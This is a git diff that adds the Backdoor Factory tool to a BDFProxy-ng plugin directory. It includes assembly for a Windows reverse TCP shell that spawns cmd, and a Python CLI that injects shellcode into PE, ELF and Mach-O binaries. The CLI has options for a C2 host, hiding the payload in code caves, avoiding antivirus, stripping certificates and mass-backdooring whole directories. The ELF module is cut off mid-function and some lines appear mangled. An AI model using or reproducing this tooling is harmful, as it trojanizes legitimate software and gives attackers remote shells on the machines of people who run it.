LoadLibA to ebx + call ebp ; CreateProcessA( 0, &"cmd", 0, 0, TRUE, 0, 0, 0, &si, &pi ); + mov esi, esp ; save pointer to the PROCESS_INFORMATION Structure + + ;loadLiba ebx, getprocaddr edi, PROCESS_INFORMATION Structure esi + + ; need kernel32 again :/ + push 0x0 + push 0x32336c65 ; Push kernel32 on the stack + push 0x6e72656b ; ... + push esp ; Push a pointer to the "kernel32" string on the stack. + call dword [ebx] ; handle for kernel32 now in eax + + ;loadLiba ebx, getprocaddr edi, PROCESS_INFORMATION Structure esi, kernel32 eax + ; getprocessaddress of 'WaitForSingleObject' + push 0x00746365 ; Push WaitForSingleObject + push 0x6a624f65 ; ... + push 0x6c676e69 ; ... + push 0x53726f46 ; ... + push 0x74696157 ; ... + push esp ; Push pointer for WaitForSingleObject + push eax ; Push handle for kernel32 + xchg eax, ebp ; mov kernel32 to ebp + call dword [edi] ; GetprocessAddress (kernel32, WaitForSingleObject) + xchg ebp, eax ; Push waitforsingleobject address in ebp and kernel32 to eax + + ;loadLiba ebx, getprocaddr edi, PROCESS_INFORMATION Structure esi, kernel32 eax, waitforsingleobject ebp + ; perform the call to WaitForSingleObject + mov edx, esi ; mov PROCESS_INFORMATION Structure to edx + xor esi, esi ; zero out esi + dec esi ; Decrement ESI down to -1 (INFINITE) + push esi ; push INFINITE inorder to wait forever ; you can NOP this out for BDF + ;nop + inc esi ; Increment ESI back to zero + mov esp, edx + push dword [edx] ; push the handle from our PROCESS_INFORMATION.hProcess + xchg eax, esi ; mov kernel32 to esi for safety + call ebp ; WaitForSingleObject( pi.hProcess, INFINITE ); +;loadLiba ebx, getprocaddr edi, kernel32 esi + add esp, 0x0234 ; Realign Stack diff --git a/Plugins/BDFProxy-ng/bdf/asm/src/loadliba_single_shell_reverse_tcp.asm b/Plugins/BDFProxy-ng/bdf/asm/src/loadliba_single_shell_reverse_tcp.asm new file mode 100644 index 0000000..49c24a8 --- /dev/null +++ b/Plugins/BDFProxy-ng/bdf/asm/src/loadliba_single_shell_reverse_tcp.asm @@ -0,0 +1,16 @@ +;-----------------------------------------------------------------------------; +; Author: Joshua Pitts @midnite_runr +; Compatible: Windows 7, 2008, Vista, 2003, XP, 2000, NT4 +; Version: 1.0 (28 July 2009) +; Size: 283 bytes +; Build: >build.py loadliba_single_shell_reverse_tcp +; Does not include code from BDF python intel/Winintel32.py for ASLR bypass and +; LoadLibraryA and GetProcAddress api call assignment. +;-----------------------------------------------------------------------------; +[BITS 32] +[ORG 0] + + +%include "./src/loadliba_reverse_tcp.asm" + +%include "./src/loadliba_shell.asm" diff --git a/Plugins/BDFProxy-ng/bdf/backdoor.py b/Plugins/BDFProxy-ng/bdf/backdoor.py new file mode 100755 index 0000000..4acd6db --- /dev/null +++ b/Plugins/BDFProxy-ng/bdf/backdoor.py @@ -0,0 +1,589 @@ +#!/usr/bin/env python +''' +BackdoorFactory (BDF) v3 - FOUNTAINPATCH + +Many thanks to Ryan O'Neill --ryan 'at' codeslum org-- +Without him, I would still be trying to do stupid things +with the elf format. + +Also thanks to Silvio Cesare with his 1998 paper +(http://vxheaven.org/lib/vsc01.html) which these ELF patching +techniques are based on. + +Special thanks to Travis Morrow for poking holes in my ideas. + +Copyright (c) 2013-2015, Joshua Pitts +All rights reserved. + +Redistribution and use in source and binary forms, with or without modification, +are permitted provided that the following conditions are met: + + 1. Redistributions of source code must retain the above copyright notice, + this list of conditions and the following disclaimer. + + 2. Redistributions in binary form must reproduce the above copyright notice, + this list of conditions and the following disclaimer in the documentation + and/or other materials provided with the distribution. + + 3. Neither the name of the copyright holder nor the names of its contributors + may be used to endorse or promote products derived from this software without + specific prior written permission. + +THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" +AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE +IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE +ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE +LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR +CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF +SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS +INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN +CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) +ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE +POSSIBILITY OF SUCH DAMAGE. + +''' + +import sys +import os +import signal +import time +from random import choice +from optparse import OptionParser +from pebin import pebin +from elfbin import elfbin +from machobin import machobin + + +def signal_handler(signal, frame): + print '\nProgram Exit' + sys.exit(0) + + +class bdfMain(): + + version = """\ + Version: 3.1.3 + """ + + author = """\ + Author: Joshua Pitts + Email: the.midnite.runr[-at ]gmailcom + Twitter: @midnite_runr + IRC: freenode.net #BDFactory + """ + + #ASCII ART + menu = ["-.(`-') (`-') _ <-" + ".(`-') _(`-') (`-')\n" + "__( OO) (OO ).-/ _ __( OO)" + "( (OO ).-> .-> .-> <-.(OO ) \n" + "'-'---.\ / ,---. \-,-----.'-'. ,--" + ".\ .'_ (`-')----. (`-')----. ,------,) \n" + "| .-. (/ | \ /`.\ | .--./| .' /" + "'`'-..__)( OO).-. '( OO).-. '| /`. ' \n" + "| '-' `.) '-'|_.' | /_) (`-')| /)" + "| | ' |( _) | | |( _) | | || |_.' | \n" + "| /`'. |(| .-. | || |OO )| . ' |" + " | / : \| |)| | \| |)| || . .' \n" + "| '--' / | | | |(_' '--'\| |\ \|" + " '-' / ' '-' ' ' '-' '| |\ \ \n" + "`------' `--' `--' `-----'`--' '--'" + "`------' `-----' `-----' `--' '--' \n" + " (`-') _ (`-') " + " (`-') \n" + " <-. (OO ).-/ _ ( OO).-> " + " .-> <-.(OO ) .-> \n" + "(`-')-----./ ,---. \-,-----./ '._" + " (`-')----. ,------,) ,--.' ,-. \n" + "(OO|(_\---'| \ /`.\ | .--./|'--...__)" + "( OO).-. '| /`. '(`-')'.' / \n" + " / | '--. '-'|_.' | /_) (`-')`--. .--'" + "( _) | | || |_.' |(OO \ / \n" + " \_) .--'(| .-. | || |OO ) | | " + " \| |)| || . .' | / /) \n" + " `| |_) | | | |(_' '--'\ | | " + " ' '-' '| |\ \ `-/ /` \n" + " `--' `--' `--' `-----' `--' " + " `-----' `--' '--' `--' \n", + + "__________ " + " __ .___ \n" + "\______ \_____ ____ " + "| | __ __| _/____ ___________ \n" + " | | _/\__ \ _/ ___\|" + " |/ // __ |/ _ \ / _ \_ __ \ \n" + " | | \ / __ \\\\ \__" + "_| | <_> ) | \/\n" + " |______ /(____ /\___ >" + "__|_ \____ |\____/ \____/|__| \n" + " \/ \/ \/" + " \/ \/ \n" + "___________ " + "__ \n" + "\_ _____/____ _____/" + " |_ ___________ ___.__. \n" + " | __) \__ \ _/ ___\ " + " __\/ _ \_ __ < | | \n" + " | \ / __ \\\\ \__" + "_| | ( <_> ) | \/\___ | \n" + " \___ / (____ /\___ >_" + "_| \____/|__| / ____| \n" + " \/ \/ \/ " + " \/ \n", + + " ____ ____ ______ " + " __ \n" + " / __ )/ __ \/ ____/___ " + "______/ /_____ _______ __\n" + " / __ / / / / /_ / __ `/" + " ___/ __/ __ \/ ___/ / / /\n" + " / /_/ / /_/ / __/ / /_/ /" + " /__/ /_/ /_/ / / / /_/ /\n" + "/_____/_____/_/ \__,_/" + "\___/\__/\____/_/ \__, /\n" + " " + " /____/\n"] + + signal.signal(signal.SIGINT, signal_handler) + + parser = OptionParser() + parser.add_option("-f", "--file", dest="FILE", action="store", + type="string", + help="File to backdoor") + parser.add_option("-s", "--shell", default="show", dest="SHELL", + action="store", type="string", + help="Payloads that are available for use." + " Use 'show' to see payloads." + ) + parser.add_option("-H", "--hostip", default=None, dest="HOST", + action="store", type="string", + help="IP of the C2 for reverse connections.") + parser.add_option("-P", "--port", default=None, dest="PORT", + action="store", type="int", + help="The port to either connect back to for reverse " + "shells or to listen on for bind shells") + parser.add_option("-J", "--cave_jumping", dest="CAVE_JUMPING", + default=False, action="store_true", + help="Select this options if you want to use code cave" + " jumping to further hide your shellcode in the binary." + ) + parser.add_option("-a", "--add_new_section", default=False, + dest="ADD_SECTION", action="store_true", + help="Mandating that a new section be added to the " + "exe (better success) but less av avoidance") + parser.add_option("-U", "--user_shellcode", default=None, + dest="SUPPLIED_SHELLCODE", action="store", + help="User supplied shellcode, make sure that it matches" + " the architecture that you are targeting." + ) + parser.add_option("-c", "--cave", default=False, dest="FIND_CAVES", + action="store_true", + help="The cave flag will find code caves that " + "can be used for stashing shellcode. " + "This will print to all the code caves " + "of a specific size." + "The -l flag can be use with this setting.") + parser.add_option("-l", "--shell_length", default=380, dest="SHELL_LEN", + action="store", type="int", + help="For use with -c to help find code " + "caves of different sizes") + parser.add_option("-o", "--output-file", default=None, dest="OUTPUT", + action="store", type="string", + help="The backdoor output file") + parser.add_option("-n", "--section", default="sdata", dest="NSECTION", + action="store", type="string", + help="New section name must be " + "less than seven characters") + parser.add_option("-d", "--directory", dest="DIR", action="store", + type="string", + help="This is the location of the files that " + "you want to backdoor. " + "You can make a directory of file backdooring faster by " + "forcing the attaching of a codecave " + "to the exe by using the -a setting.") + parser.add_option("-w", "--change_access", default=True, + dest="CHANGE_ACCESS", action="store_false", + help="This flag changes the section that houses " + "the codecave to RWE. Sometimes this is necessary. " + "Enabled by default. If disabled, the " + "backdoor may fail.") + parser.add_option("-i", "--injector", default=False, dest="INJECTOR", + action="store_true", + help="This command turns the backdoor factory in a " + "hunt and shellcode inject type of mechanism. Edit " + "the target settings in the injector module.") + parser.add_option("-u", "--suffix", default=".old", dest="SUFFIX", + action="store", type="string", + help="For use with injector, places a suffix" + " on the original file for easy recovery") + parser.add_option("-D", "--delete_original", dest="DELETE_ORIGINAL", + default=False, action="store_true", + help="For use with injector module. This command" + " deletes the original file. Not for use in production " + "systems. *Author not responsible for stupid uses.*") + parser.add_option("-O", "--disk_offset", dest="DISK_OFFSET", default=0, + type="int", action="store", + help="Starting point on disk offset, in bytes. " + "Some authors want to obfuscate their on disk offset " + "to avoid reverse engineering, if you find one of those " + "files use this flag, after you find the offset.") + parser.add_option("-S", "--support_check", dest="SUPPORT_CHECK", + default=False, action="store_true", + help="To determine if the file is supported by BDF prior" + " to backdooring the file. For use by itself or with " + "verbose. This check happens automatically if the " + "backdooring is attempted." + ) + parser.add_option("-M", "--cave-miner", dest="CAVE_MINER", default=False, action="store_true", + help="Future use, to help determine smallest shellcode possible in a PE file" + ) + parser.add_option("-q", "--no_banner", dest="NO_BANNER", default=False, action="store_true", + help="Kills the banner." + ) + parser.add_option("-v", "--verbose", default=False, dest="VERBOSE", + action="store_true", + help="For debug information output.") + parser.add_option("-T", "--image-type", dest="IMAGE_TYPE", default="ALL", + type='string', + action="store", help="ALL, x86, or x64 type binaries only. Default=ALL") + parser.add_option("-Z", "--zero_cert", dest="ZERO_CERT", default=True, action="store_false", + help="Allows for the overwriting of the pointer to the PE certificate table" + " effectively removing the certificate from the binary for all intents" + " and purposes." + ) + parser.add_option("-R", "--runas_admin", dest="RUNAS_ADMIN", default=False, action="store_true", + help="EXPERIMENTAL " + "Checks the PE binaries for \'requestedExecutionLevel level=\"highestAvailable\"\'" + ". If this string is included in the binary, it must run as system/admin. If not " + "in Support Check mode it will attmept to patch highestAvailable into the manifest " + "if requestedExecutionLevel entry exists." + ) + parser.add_option("-L", "--patch_dll", dest="PATCH_DLL", default=True, action="store_false", + help="Use this setting if you DON'T want to patch DLLs. Patches by default." + ) + parser.add_option("-F", "--fat_priority", dest="FAT_PRIORITY", default="x64", action="store", + help="For MACH-O format. If fat file, focus on which arch to patch. Default " + "is x64. To force x86 use -F x86, to force both archs use -F ALL." + ) + parser.add_option("-B", "--beacon", dest="BEACON", default=15, action="store", type="int", + help="For payloads that have the ability to beacon out, set the time in secs" + ) + parser.add_option("-m", "--patch-method", dest="PATCH_METHOD", default="manual", action="store", + type="string", help="Patching methods for PE files, 'manual','automatic', " + "and onionduke") + parser.add_option("-b", "--user_malware", dest="SUPPLIED_BINARY", default=None, action="store", + help="For onionduke. Provide your desired binary.") + parser.add_option("-X", "--xp_mode", dest="XP_MODE", default=False, action="store_true", + help="Default: DO NOT support for XP legacy machines, use -X to support XP" + ". By default the binary will crash on XP machines (e.g. sandboxes)" + ) + + (options, args) = parser.parse_args() + + def basicDiscovery(FILE): + macho_supported = ['\xcf\xfa\xed\xfe', '\xca\xfe\xba\xbe', + '\xce\xfa\xed\xfe', + ] + + testBinary = open(FILE, 'rb') + header = testBinary.read(4) + testBinary.close() + if 'MZ' in header: + return 'PE' + elif 'ELF' in header: + return 'ELF' + elif header in macho_supported: + return "MACHO" + else: + 'Only support ELF, PE, and MACH-O file formats' + return None + + if options.NO_BANNER is False: + print choice(menu) + print author + print version + time.sleep(1) + else: + print "\t Backdoor Factory" + print author + print version + + if options.DIR: + for root, subFolders, files in os.walk(options.DIR): + for _file in files: + options.FILE = os.path.join(root, _file) + if os.path.isdir(options.FILE) is True: + print "Directory found, continuing" + continue + is_supported = basicDiscovery(options.FILE) + if is_supported is "PE": + supported_file = pebin(options.FILE, + options.OUTPUT, + options.SHELL, + options.NSECTION, + options.DISK_OFFSET, + options.ADD_SECTION, + options.CAVE_JUMPING, + options.PORT, + options.HOST, + options.SUPPLIED_SHELLCODE, + options.INJECTOR, + options.CHANGE_ACCESS, + options.VERBOSE, + options.SUPPORT_CHECK, + options.SHELL_LEN, + options.FIND_CAVES, + options.SUFFIX, + options.DELETE_ORIGINAL, + options.CAVE_MINER, + options.IMAGE_TYPE, + options.ZERO_CERT, + options.RUNAS_ADMIN, + options.PATCH_DLL, + options.PATCH_METHOD, + options.SUPPLIED_BINARY, + options.XP_MODE + ) + elif is_supported is "ELF": + supported_file = elfbin(options.FILE, + options.OUTPUT, + options.SHELL, + options.HOST, + options.PORT, + options.SUPPORT_CHECK, + options.FIND_CAVES, + options.SHELL_LEN, + options.SUPPLIED_SHELLCODE, + options.IMAGE_TYPE + ) + elif is_supported is "MACHO": + supported_file = machobin(options.FILE, + options.OUTPUT, + options.SHELL, + options.HOST, + options.PORT, + options.SUPPORT_CHECK, + options.SUPPLIED_SHELLCODE, + options.FAT_PRIORITY, + options.BEACON + ) + + if options.SUPPORT_CHECK is True: + if os.path.isfile(options.FILE): + is_supported = False + print "file", options.FILE + try: + is_supported = supported_file.support_check() + except Exception, e: + is_supported = False + print 'Exception:', str(e), '%s' % options.FILE + if is_supported is False or is_supported is None: + print "%s is not supported." % options.FILE + #continue + else: + print "%s is supported." % options.FILE + # if supported_file.flItms['runas_admin'] is True: + # print "%s must be run as admin." % options.FILE + print "*" * 50 + + if options.SUPPORT_CHECK is True: + sys.exit() + + print ("You are going to backdoor the following " + "items in the %s directory:" + % options.DIR) + dirlisting = os.listdir(options.DIR) + for item in dirlisting: + print " {0}".format(item) + answer = raw_input("Do you want to continue? (yes/no) ") + if 'yes' in answer.lower(): + for item in dirlisting: + #print item + print "*" * 50 + options.File = options.DIR + '/' + item + if os.path.isdir(options.FILE) is True: + print "Directory found, continuing" + continue + + print ("backdooring file %s" % item) + result = None + is_supported = basicDiscovery(options.FILE) + try: + if is_supported is "PE": + supported_file = pebin(options.FILE, + options.OUTPUT, + options.SHELL, + options.NSECTION, + options.DISK_OFFSET, + options.ADD_SECTION, + options.CAVE_JUMPING, + options.PORT, + options.HOST, + options.SUPPLIED_SHELLCODE, + options.INJECTOR, + options.CHANGE_ACCESS, + options.VERBOSE, + options.SUPPORT_CHECK, + options.SHELL_LEN, + options.FIND_CAVES, + options.SUFFIX, + options.DELETE_ORIGINAL, + options.CAVE_MINER, + options.IMAGE_TYPE, + options.ZERO_CERT, + options.RUNAS_ADMIN, + options.PATCH_DLL, + options.PATCH_METHOD, + options.SUPPLIED_BINARY, + options.XP_MODE, + ) + supported_file.OUTPUT = None + supported_file.output_options() + result = supported_file.patch_pe() + elif is_supported is "ELF": + supported_file = elfbin(options.FILE, + options.OUTPUT, + options.SHELL, + options.HOST, + options.PORT, + options.SUPPORT_CHECK, + options.FIND_CAVES, + options.SHELL_LEN, + options.SUPPLIED_SHELLCODE, + options.IMAGE_TYPE + ) + + supported_file.OUTPUT = None + supported_file.output_options() + result = supported_file.patch_elf() + + elif is_supported is "MACHO": + supported_file = machobin(options.FILE, + options.OUTPUT, + options.SHELL, + options.HOST, + options.PORT, + options.SUPPORT_CHECK, + options.SUPPLIED_SHELLCODE, + options.FAT_PRIORITY, + options.BEACON + ) + supported_file.OUTPUT = None + supported_file.output_options() + result = supported_file.patch_macho() + + if result is None: + print 'Not Supported. Continuing' + continue + else: + print ("[*] File {0} is in backdoored " + "directory".format(supported_file.FILE)) + except Exception as e: + print "DIR ERROR", str(e) + else: + print("Goodbye") + + sys.exit() + + if options.INJECTOR is True: + supported_file = pebin(options.FILE, + options.OUTPUT, + options.SHELL, + options.NSECTION, + options.DISK_OFFSET, + options.ADD_SECTION, + options.CAVE_JUMPING, + options.PORT, + options.HOST, + options.SUPPLIED_SHELLCODE, + options.INJECTOR, + options.CHANGE_ACCESS, + options.VERBOSE, + options.SUPPORT_CHECK, + options.SHELL_LEN, + options.FIND_CAVES, + options.SUFFIX, + options.DELETE_ORIGINAL, + options.IMAGE_TYPE, + options.ZERO_CERT, + options.RUNAS_ADMIN, + options.PATCH_DLL, + options.PATCH_METHOD, + options.SUPPLIED_BINARY, + options.XP_MODE, + ) + supported_file.injector() + sys.exit() + + if not options.FILE: + parser.print_help() + sys.exit() + + #OUTPUT = output_options(options.FILE, options.OUTPUT) + is_supported = basicDiscovery(options.FILE) + if is_supported is "PE": + supported_file = pebin(options.FILE, + options.OUTPUT, + options.SHELL, + options.NSECTION, + options.DISK_OFFSET, + options.ADD_SECTION, + options.CAVE_JUMPING, + options.PORT, + options.HOST, + options.SUPPLIED_SHELLCODE, + options.INJECTOR, + options.CHANGE_ACCESS, + options.VERBOSE, + options.SUPPORT_CHECK, + options.SHELL_LEN, + options.FIND_CAVES, + options.SUFFIX, + options.DELETE_ORIGINAL, + options.CAVE_MINER, + options.IMAGE_TYPE, + options.ZERO_CERT, + options.RUNAS_ADMIN, + options.PATCH_DLL, + options.PATCH_METHOD, + options.SUPPLIED_BINARY, + options.XP_MODE, + ) + elif is_supported is "ELF": + supported_file = elfbin(options.FILE, + options.OUTPUT, + options.SHELL, + options.HOST, + options.PORT, + options.SUPPORT_CHECK, + options.FIND_CAVES, + options.SHELL_LEN, + options.SUPPLIED_SHELLCODE, + options.IMAGE_TYPE + ) + + elif is_supported is "MACHO": + supported_file = machobin(options.FILE, + options.OUTPUT, + options.SHELL, + options.HOST, + options.PORT, + options.SUPPORT_CHECK, + options.SUPPLIED_SHELLCODE, + options.FAT_PRIORITY, + options.BEACON + ) + + else: + print "Not supported." + sys.exit() + result = supported_file.run_this() + if result is True and options.SUPPORT_CHECK is False: + print "File {0} is in the 'backdoored' directory".format(os.path.basename(supported_file.OUTPUT)) + + + #END BDF MAIN + +if __name__ == "__main__": + + bdfMain() diff --git a/Plugins/BDFProxy-ng/bdf/elfbin.py b/Plugins/BDFProxy-ng/bdf/elfbin.py new file mode 100644 index 0000000..a688ebc --- /dev/null +++ b/Plugins/BDFProxy-ng/bdf/elfbin.py @@ -0,0 +1,781 @@ +#!/usr/bin/env python +''' + +Copyright (c) 2013-2015, Joshua Pitts +All rights reserved. + +Redistribution and use in source and binary forms, with or without modification, +are permitted provided that the following conditions are met: + + 1. Redistributions of source code must retain the above copyright notice, + this list of conditions and the following disclaimer. + + 2. Redistributions in binary form must reproduce the above copyright notice, + this list of conditions and the following disclaimer in the documentation + and/or other materials provided with the distribution. + + 3. Neither the name of the copyright holder nor the names of its contributors + may be used to endorse or promote products derived from this software without + specific prior written permission. + +THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" +AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE +IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE +ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE +LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR +CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF +SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS +INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN +CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) +ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE +POSSIBILITY OF SUCH DAMAGE. + +''' + +import struct +import os +import shutil +from intel.LinuxIntelELF32 import linux_elfI32_shellcode +from intel.LinuxIntelELF64 import linux_elfI64_shellcode +from intel.FreeBSDIntelELF32 import freebsd_elfI32_shellcode +#from intel.FreeBSDIntelELF64 import freebsd_elfI64_shellcode +from arm.LinuxARMLELF32 import linux_elfarmle32_shellcode + + +class elf(): + """ + ELF data format class for BackdoorFactory. + We don't need the ENTIRE format. + """ + + #setting linux header infomation + e_ident = {"EI_MAG": "\x7f" + "ELF", + "EI_CLASS": {0x01: "x86", + 0x02: "x64" + }, + "EI_DATA_little": 0x01, + "EI_DATA_big": 0x02, + "EI_VERSION": 0x01, + "EI_OSABI": {0x00: "System V", + 0x01: "HP-UX", + 0x02: "NetBSD", + 0x03: "Linux", + 0x06: "Solaris", + 0x07: "AIX", + 0x08: "IRIX", + 0x09: "FreeBSD", + 0x0C: "OpenBSD" + }, + "EI_ABIVERSION": 0x00, + "EI_PAD": 0x07 + } + + e_type = {0x01: "relocatable", + 0x02: "executable", + 0x03: "shared", + 0x04: "core" + } + + e_machine = {0x02: "SPARC", + 0x03: "x86", + 0x14: "PowerPC", + 0x28: "ARM", + 0x32: "IA-64", + 0x3E: "x86-64", + 0xB7: "AArch64" + } + e_version = 0x01 +#end elf class + + +class elfbin(): + """ + This is the class handler for the elf binary format + """ + def __init__(self, FILE, OUTPUT=None, SHELL=None, HOST="127.0.0.1", PORT=8888, + SUPPORT_CHECK=False, FIND_CAVES=False, SHELL_LEN=70, + SUPPLIED_SHELLCODE=None, IMAGE_TYPE="ALL"): + #print FILE + self.FILE = FILE + self.OUTPUT = OUTPUT + self.SHELL = SHELL + self.bin_file = None + self.HOST = HOST + self.PORT = PORT + self.FIND_CAVES = FIND_CAVES + self.SUPPORT_CHECK = SUPPORT_CHECK + self.SHELL_LEN = SHELL_LEN + self.SUPPLIED_SHELLCODE = SUPPLIED_SHELLCODE + self.IMAGE_TYPE = IMAGE_TYPE + self.shellcode_vaddr = 0x0 + self.file_size = os.path.getsize(self.FILE) + self.supported_types = {0x00: # System V + [[0x01, # 32bit + 0x02 # 64bit + ], + [0x03, # x86 + 0x28, # ARM + 0x3E # x64 + ]], + 0x03: # Linux + [[0x01, # 32bit + 0x02 # 64bit + ], + [0x03, # x86 + 0x3E # x64 + ]], + 0x09: # FreeBSD + [[0x01, # 32bit + # 0x02 # 64bit + ], + [0x03, # x86 + # 0x3E # x64 + ]], + 0x0C: # OpenBSD + [[0x01, # 32bit + #0x02 # 64bit + ], + [0x03, # x86 + #0x3E # x64 + ]] + } + + def run_this(self): + ''' + Call this if you want to run the entire process with a ELF binary. + ''' + #self.print_supported_types() + self.bin_file = open(self.FILE, "r+b") + if self.FIND_CAVES is True: + self.support_check() + self.gather_file_info() + if self.supported is False: + print self.FILE, "is not supported." + return False + print ("Looking for caves with a size of %s " + "bytes (measured as an integer)" + % self.SHELL_LEN) + self.find_all_caves() + return True + if self.SUPPORT_CHECK is True: + if not self.FILE: + print "You must provide a file to see if it is supported (-f)" + return False + try: + self.support_check() + except Exception, e: + self.supported = False + print 'Exception:', str(e), '%s' % self.FILE + if self.supported is False: + print "%s is not supported." % self.FILE + self.print_supported_types() + return False + else: + print "%s is supported." % self.FILE + return True + + return self.patch_elf() + + def find_all_caves(self): + """ + This function finds all the codecaves in a inputed file. + Prints results to screen. Generally not many caves in the ELF + format. And why there is no need to cave jump. + """ + + print "[*] Looking for caves" + SIZE_CAVE_TO_FIND = 94 + BeginCave = 0 + Tracking = 0 + count = 1 + caveTracker = [] + caveSpecs = [] + self.bin_file.seek(0) + while True: + try: + s = struct.unpack("= SIZE_CAVE_TO_FIND: + caveSpecs.append(BeginCave) + caveSpecs.append(Tracking) + caveTracker.append(caveSpecs) + count = 1 + caveSpecs = [] + + Tracking += 1 + + for caves in caveTracker: + + for section in self.sec_hdr.iteritems(): + #print 'section', section[1] + section = section[1] + sectionFound = False + if caves[0] >= section['sh_offset'] and caves[1] <= (section['sh_size'] + section['sh_offset']) and \ + caves[1] - caves[0] >= SIZE_CAVE_TO_FIND: + print "We have a winner:", section['name'] + print '->Begin Cave', hex(caves[0]) + print '->End of Cave', hex(caves[1]) + print 'Size of Cave (int)', caves[1] - caves[0] + print 'sh_size', hex(section['sh_size']) + print 'sh_offset', hex(section['sh_offset']) + print 'End of Raw Data:', hex(section['sh_size'] + section['sh_offset']) + print '*' * 50 + sectionFound = True + break + if sectionFound is False: + try: + print "No section" + print '->Begin Cave', hex(caves[0]) + print '->End of Cave', hex(caves[1]) + print 'Size of Cave (int)', caves[1] - caves[0] + print '*' * 50 + except Exception as e: + print str(e) + print "[*] Total of %s caves found" % len(caveTracker) + + def set_shells(self): + """ + This function sets the shellcode. + """ + + avail_shells = [] + + self.bintype = False + if self.e_machine == 0x03: # x86 chipset + if self.EI_CLASS == 0x1: + if self.EI_OSABI == 0x00: + self.bintype = linux_elfI32_shellcode + elif self.EI_OSABI == 0x09 or self.EI_OSABI == 0x0C: + self.bintype = freebsd_elfI32_shellcode + elif self.e_machine == 0x3E: # x86-64 chipset + if self.EI_CLASS == 0x2: + if self.EI_OSABI == 0x00: + self.bintype = linux_elfI64_shellcode + #elif self.EI_OSABI == 0x09: + # self.bintype = freebsd_elfI64_shellcode + elif self.e_machine == 0x28: # ARM chipset + if self.EI_CLASS == 0x1: + if self.EI_OSABI == 0x00: + self.bintype = linux_elfarmle32_shellcode + + if self.bintype is False: + print "[!] Unusual binary type" + return False + + if not self.SHELL: + print "You must choose a backdoor to add: " + for item in dir(self.bintype): + if "__" in item: + continue + elif ("returnshellcode" == item + or "pack_ip_addresses" == item + or "eat_code_caves" == item + or 'ones_compliment' == item + or 'resume_execution' in item + or 'returnshellcode' in item): + continue + else: + print " {0}".format(item) + return False + if self.SHELL not in dir(self.bintype): + print "The following %ss are available:" % str(self.bintype).split(".")[1] + for item in dir(self.bintype): + #print item + if "__" in item: + continue + elif ("returnshellcode" == item + or "pack_ip_addresses" == item + or "eat_code_caves" == item + or 'ones_compliment' == item + or 'resume_execution' in item + or 'returnshellcode' in item): + continue + else: + print " {0}".format(item) + avail_shells.append(item) + self.avail_shells = avail_shells + return False + #else: + # shell_cmd = self.SHELL + "()" + if self.e_machine == 0x28: + self.shells = self.bintype(self.HOST, self.PORT, self.e_entry, self.SUPPLIED_SHELLCODE, self.shellcode_vaddr) + else: + self.shells = self.bintype(self.HOST, self.PORT, self.e_entry, self.SUPPLIED_SHELLCODE) + self.allshells = getattr(self.shells, self.SHELL)(self.e_entry) + self.shellcode = self.shells.returnshellcode() + + def print_supported_types(self): + """ + Prints supported types + """ + print "Supported system types:" + for system_type in self.supported_types.iteritems(): + print " ", elf.e_ident["EI_OSABI"][system_type[0]] + print " Arch type:" + for class_type in system_type[1][0]: + print "\t", elf.e_ident['EI_CLASS'][class_type] + print " Chip set:" + for e_mach_type in system_type[1][1]: + print "\t", elf.e_machine[e_mach_type] + #print "Supported class types:" + print "*" * 25 + + def support_check(self): + """ + Checks for support + """ + with open(self.FILE, 'r+b') as bin_file: + print "[*] Checking file support" + bin_file.seek(0) + if bin_file.read(4) == elf.e_ident["EI_MAG"]: + bin_file.seek(4, 0) + self.class_type = struct.unpack(" self.file_size: + print "[!] Fuzzing the sh_offset" + return False + self.bin_file.seek(self.sec_hdr[self.e_shstrndx]['sh_offset'] + section_offset, 0) + name = '' + j = '' + while True: + j = self.bin_file.read(1) + if len(j) == 0: + break + else: + name += j + #print "name:", name + return name + + def set_section_name(self): + """ + Set the section names + """ + #how to find name section specifically + for i in range(0, self.e_shstrndx + 1): + self.sec_hdr[i]['name'] = self.get_section_name(self.sec_hdr[i]['sh_name']) + if self.sec_hdr[i]['name'] is False: + print "Failure in naming, fuzzing?" + return False + if self.sec_hdr[i]['name'] == ".text": + #print "Found text section" + self.text_section = i + + def gather_file_info(self): + ''' + Gather info about the binary + ''' + print "[*] Gathering file info" + bin = self.bin_file + bin.seek(0) + EI_MAG = bin.read(4) + self.EI_CLASS = struct.unpack(" os.path.getsize(self.FILE): + print "[!] El fuzzero" + return False + bin.seek(self.e_phoff, 0) + + #header tables + if self.e_shnum == 0: + print "[*] More than 0xFF00 sections" + print "[*] NOPE NOPE NOPE" + return False + + else: + self.real_num_sections = self.e_shnum + + if self.e_phoff > self.file_size: + print "[*] e_phoff is greater than file size" + return False + + bin.seek(self.e_phoff, 0) + self.prog_hdr = {} + for i in range(self.e_phnum): + self.prog_hdr[i] = {} + if self.EI_CLASS == 0x01: + if self.e_phoff + (self.e_phnum * 4 * 8) > self.file_size: + print "[!] 